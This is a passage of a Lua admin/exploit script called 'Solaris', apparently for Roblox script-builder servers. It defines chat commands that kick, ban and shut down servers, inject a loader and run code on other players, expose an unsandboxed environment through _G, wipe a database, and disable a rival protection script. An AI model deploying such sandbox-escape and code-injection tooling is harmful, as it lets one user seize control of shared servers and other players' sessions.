753 | local Suffix = Solaris.Chatted.Settings.Suffix | |
754 | local sub = string.sub | |
755 | local lower = string.lower | |
756 | if sub(msg,1,3)=='/e 'then | |
757 | msg = sub(msg,4) | |
758 | end | |
759 | if Solaris.Admins[plr.Name]then | |
760 | for index,data in pairs(Commands)do | |
761 | if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then | |
762 | if Solaris.Admins[plr.Name].Level >= data.Level then | |
763 | local y,n = ypcall(function() | |
764 | data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr) | |
765 | end) | |
766 | if not y then | |
767 | print_to(plr,"[Error]: a command related error has occured : "..n) | |
768 | end | |
769 | else | |
770 | print_to(plr,"[Error]: Your access level is to low for that command") | |
771 | end | |
772 | end | |
773 | end | |
774 | end | |
775 | end local Chatted = API.Chatted | |
776 | ||
777 | function API.BootCommands()--// Function that calls and injects all commands | |
778 | ||
779 | AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player) | |
780 | print_to(Player,"[Solaris]: TEST") | |
781 | end) | |
782 | ||
783 | AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player) | |
784 | print_to(Player,"Got Commands") | |
785 | print_to(Player,"---------------------------------------------------------------") | |
786 | for index,data in pairs(Solaris.Chatted.Commands)do | |
787 | print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]") | |
788 | print_to(Player,"---------------------------------------------------------------") | |
789 | end | |
790 | end) | |
791 | ||
792 | AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player) | |
793 | print_to(Player,"Got admins") | |
794 | GetAdmins(Player) | |
795 | end) | |
796 | ||
797 | AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player) | |
798 | GetLogs(Player) | |
799 | end) | |
800 | ||
801 | AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player) | |
802 | local Split = GetSplit(Message) | |
803 | local Plrs | |
804 | local Reason | |
805 | if Split == nil then | |
806 | Plrs = Collect_Players(Message,Player) | |
807 | Reason = nil | |
808 | else | |
809 | Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
810 | Reason = Message:sub(Split+1) | |
811 | end | |
812 | if #Plrs>0 then | |
813 | for _,Plr in pairs(Plrs) do | |
814 | if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end | |
815 | Plr:Kick(tostring(Reason)) | |
816 | end | |
817 | end | |
818 | end) | |
819 | ||
820 | AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player) | |
821 | local Split = GetSplit(Message) | |
822 | local Plrs | |
823 | local Reason | |
824 | if Split == nil then | |
825 | Plrs = Collect_Players(Message,Player) | |
826 | Reason = nil | |
827 | else | |
828 | Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
829 | Reason = tostring(Message:sub(Split+1)) | |
830 | end | |
831 | if #Plrs>0 then | |
832 | for _,Plr in pairs(Plrs) do | |
833 | if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end | |
834 | --table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason)) | |
835 | Solaris.Banned[Plr.Name]=tostring(Reason) | |
836 | Plr:Kick("You have been banned for "..tostring(Reason)) | |
837 | end | |
838 | end | |
839 | end) | |
840 | ||
841 | AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player) | |
842 | for i,v in pairs(Solaris.Banned)do | |
843 | if string.sub(string.lower(i),1,#Message)==string.lower(Message)then | |
844 | Solaris.Banned[i]=nil | |
845 | end | |
846 | end | |
847 | end) | |
848 | ||
849 | AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player) | |
850 | print_to(Player,"Got Banned") | |
851 | print_to(Player,"--------------------------------") | |
852 | for i,v in pairs(Solaris.Banned)do | |
853 | print_to(Player,"["..tostring(i).."]: "..tostring(v)) | |
854 | print_to(Player,"--------------------------------") | |
855 | end | |
856 | end) | |
857 | ||
858 | AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player) | |
859 | local Split = GetSplit(Message) | |
860 | local Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
861 | local Command = Message:sub(Split+1) | |
862 | if #Plrs>0 then | |
863 | for index,data in pairs(Plrs)do | |
864 | Sbexe(Command,data)--afk | |
865 | end | |
866 | end | |
867 | end) | |
868 | ||
869 | AddCommand('Loader','injl','Injects Solaris loader to a player',3,function(Message, Collect_Players, Player) | |
870 | local Plrs = Collect_Players(Message,Player) | |
871 | if #Plrs > 0 then | |
872 | for i,v in pairs(Plrs)do | |
873 | print_to(v,"[Solaris]: has issued a loader to you") | |
874 | InjectLoader(v) | |
875 | end | |
876 | end | |
877 | end) | |
878 | ||
879 | AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player) | |
880 | ChangeTheme(Player,Message) | |
881 | end) | |
882 | ||
883 | AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player) | |
884 | if #Message>0 then | |
885 | local Plrs = Collect_Players(Message,Player) | |
886 | if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end | |
887 | for index,data in pairs(Plrs)do | |
888 | Follow(true,data.Name) | |
889 | end | |
890 | else | |
891 | Follow(true,Player.Name) | |
892 | end | |
893 | end) | |
894 | ||
895 | AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player) | |
896 | Follow(false,"") | |
897 | end) | |
898 | ||
899 | AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player) | |
900 | for i,v in pairs(game:GetService('Players'):children())do | |
901 | v:Kick('This server has shutdown') | |
902 | end | |
903 | end) | |
904 | ||
905 | AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player) | |
906 | local Split = GetSplit(Message) | |
907 | local Plrs = Collect_Players(Message:sub(1,Split-1),Player) | |
908 | local Level = tonumber(Message:sub(Split+1)) | |
909 | if #Plrs>0 then | |
910 | for index,data in pairs(Plrs)do | |
911 | if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then | |
912 | print_to(data,"[Error]: You cant set your level higher then your own") | |
913 | else | |
914 | print("[Solaris]: Has set "..data.Name.."'s Access level to ["..Level.."]") | |
915 | Solaris.Admins[data.Name].Level = tonumber(Level) | |
916 | end | |
917 | end | |
918 | end | |
919 | end) | |
920 | ||
921 | AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player) | |
922 | local newEnv = getfenv(1) | |
923 | newEnv.script = nil | |
924 | newEnv.warn = print | |
925 | newEnv.print = print | |
926 | newEnv.print_to = print_to | |
927 | newEnv.broadcast = broadcast | |
928 | rawset(_G,"Bypass",function() | |
929 | return newEnv | |
930 | end) | |
931 | broadcast('[Solaris]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code') | |
932 | end) | |
933 | ||
934 | AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player) | |
935 | if #Message>0 then | |
936 | if Message:lower() == 'true' then | |
937 | if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then | |
938 | print_to(Player,"[Solaris]: Scripting is already locked") | |
939 | else | |
940 | Solaris.Blocker.LocalBlock = true | |
941 | Solaris.Blocker.GlobalBlock = true | |
942 | print('[Solairs]: Is locking Scripting') | |
943 | end | |
944 | elseif Message:lower()=='false' then | |
945 | if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then | |
946 | print_to(Player,"[Solaris]: Scripting is already unlocked") | |
947 | else | |
948 | Solaris.Blocker.LocalBlock = false | |
949 | Solaris.Blocker.GlobalBlock = false | |
950 | print('[Solairs]: Is unlocking Scripting') | |
951 | end | |
952 | end | |
953 | end | |
954 | end) | |
955 | ||
956 | AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player) | |
957 | local y,n = pcall(function() | |
958 | print('[Solairs]: Has Cleared => HTTP CACHE') | |
959 | for i,v in pairs(rbxdb:GetAllData())do | |
960 | rbxdb:DeleteValue(i) | |
961 | end | |
962 | end) | |
963 | if not y then print("[ERROR]: "..n)end | |
964 | end) | |
965 | ||
966 | AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player) | |
967 | if #Message>0 then | |
968 | if Message:lower() == 'true'then | |
969 | ChangeTheme(Player,'hidden') | |
970 | elseif Message:lower()== 'false' then | |
971 | ChangeTheme(Player,'normal') | |
972 | end | |
973 | end | |
974 | end) | |
975 | ||
976 | AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player) | |
977 | GetSavedScripts(Player) | |
978 | end) | |
979 | ||
980 | AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player) | |
981 | local Data = rbxdb:GetAllData() | |
982 | if type(Data)=='table'then | |
983 | for i,v in pairs(Data)do wait(.1) | |
984 | print_to(Player,tostring(i)..":"..tostring(v)) | |
985 | end | |
986 | end | |
987 | end) | |
988 | ||
989 | AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player) | |
990 | GiveServerConsole(Player) | |
991 | end) | |
992 | ||
993 | AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player) | |
994 | GetGarbage(Player) | |
995 | end) | |
996 | ||
997 | AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player) | |
998 | if #Message > 0 then | |
999 | SafeExe(Message,Player) | |
1000 | end | |
1001 | end) | |
1002 | ||
1003 | AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player) | |
1004 | Solaris.__STATUS = not Solaris.__STATUS | |
1005 | if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then | |
1006 | SpawnOrb() | |
1007 | end | |
1008 | end) | |
1009 | ||
1010 | print("[Solaris]: Has finished booting commands") | |
1011 | end local BootCommands = API.BootCommands | |
1012 | ||
1013 | function API.Connect(plr) | |
1014 | if type(plr)~='userdata'then return end | |
1015 | ||
1016 | local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"} | |
1017 | if plr.AccountAge/365 < .5 then | |
1018 | for i,v in pairs(Allowed_YoungPlrs)do | |
1019 | if not plr.Name == v then | |
1020 | plr:Kick("[Solaris]: Sorry your AccountAge is to young to join this game") | |
1021 | end | |
1022 | end | |
1023 | end | |
1024 | ||
1025 | if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end | |
1026 | ||
1027 | if not Solaris.Admins[plr.Name]then | |
1028 | print_to(plr,"[Solaris]: Has identifyed you as a ["..Solaris.Levels[1].."]") | |
1029 | print("[Solaris]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]") | |
1030 | Solaris.Admins[plr.Name] = {Level=1} | |
1031 | elseif Solaris.Admins[plr.Name]then | |
1032 | print_to(plr,"[Solaris]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]") | |
1033 | end | |
1034 | ConnectLogger(plr) | |
1035 | plr.Chatted:connect(function(msg) | |
1036 | Chatted(plr,msg) | |
1037 | end) | |
1038 | end local Connect = API.Connect | |
1039 | ||
1040 | --// Bootstrapper functions | |
1041 | ||
1042 | function Bootstrap:Boot() | |
1043 | local DeploymentID = Generate(math.random(1,50)*2/3) | |
1044 | --// Bootup | |
1045 | broadcast("[Solaris]: Has started booting up") | |
1046 | SpawnOrb() | |
1047 | Rotate() | |
1048 | BootCommands() | |
1049 | for i,v in pairs(game:GetService('Players'):children())do | |
1050 | Connect(v) | |
1051 | end | |
1052 | ||
1053 | game:GetService('Players').PlayerAdded:connect(function(plr) | |
1054 | wait(.5) | |
1055 | Connect(plr) | |
1056 | end) | |
1057 | ||
1058 | game.Workspace.DescendantAdded:connect(function(obj) | |
1059 | if obj.ClassName == "Script" then | |
1060 | if Solaris.Blocker.GlobalBlock == true then | |
1061 | obj.Disabled = true | |
1062 | obj:Destroy() | |
1063 | end | |
1064 | elseif obj.ClassName == "LocalScript" then | |
1065 | if Solaris.Blocker.LocalBlock == true then | |
1066 | obj.Disabled = true | |
1067 | obj:Destroy() | |
1068 | end | |
1069 | end | |
1070 | end) | |
1071 | --game.DescendantAdded:connect(function(instance) | |
1072 | --if Solaris.Blocker.LagBlocker== true then | |
1073 | --if Solaris.LagBlockedInstances[instance.ClassName]then | |
1074 | --instance:Destroy() | |
1075 | --end | |
1076 | --end | |
1077 | --end) | |
1078 | ||
1079 | ||
1080 | game.itemChanged:connect(function() | |
1081 | spawn(function() | |
1082 | local osc=_G.OSC_AddServerSideData; | |
1083 | _G.OSC_AddServerSideData=nil;--< rekt osc | |
1084 | end); | |
1085 | end); | |
1086 | ||
1087 | ||
1088 | print("[Solaris]: Has booted successfully") | |
1089 | broadcast("[Solaris]: Has deployed with ID: "..DeploymentID.."") | |
1090 | rbxdb:SetValue("[SOLARIS DEPLOYMENT]",DeploymentID) | |
1091 | end | |
1092 | ||
1093 | if script.ClassName == 'Script'then | |
1094 | if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then | |
1095 | local y,n = pcall(function() | |
1096 | Solaris.API.Bootstrap:Boot() | |
1097 | end)if not y then print('{ERROR}: '..n)end | |
1098 | end | |
1099 | elseif script.ClassName == 'ModuleScript'then | |
1100 | return function(deploymentKey) | |
1101 | local Key = Solaris.AccessKey | |
1102 | if deploymentKey == Key then | |
1103 | return Solaris.API.Bootstrap | |
1104 | else | |
1105 | return error('INVALID DEPLOYMENT ACCESS KEY!') | |
1106 | end | |
1107 | end | |
1108 | end |